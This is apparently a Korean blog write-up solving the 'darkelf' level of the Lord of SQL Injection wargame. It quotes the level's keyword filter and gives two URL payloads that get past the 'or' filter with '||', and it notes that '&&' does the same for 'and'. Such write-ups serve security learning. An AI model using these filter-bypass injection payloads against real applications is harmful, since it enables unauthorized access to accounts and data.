본문 바로가기

Wargame(hacking)/LOS

LORD OF SQLINJECTION : darkelf

Write-Up

 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");

 

이번 문제의 필터링은 위와 같다. or 와 and가 필터링 되고 있다. 아래와 같은 payload로 or 우회를 시도해본다. 

 

?pw=%27||%201=1%23

 

|| 로 or 우회가 되면서, guest id가 조회된다. 다시 아래와 같은 payload를 통해 admin을 조회하고, 문제를 해결한다!

 

?pw=%27||%20id%20like%20%27admin%27%23

 

or 필터링은 || 로 우회가 가능하며, and 필터링은 &&로 우회가 가능하다.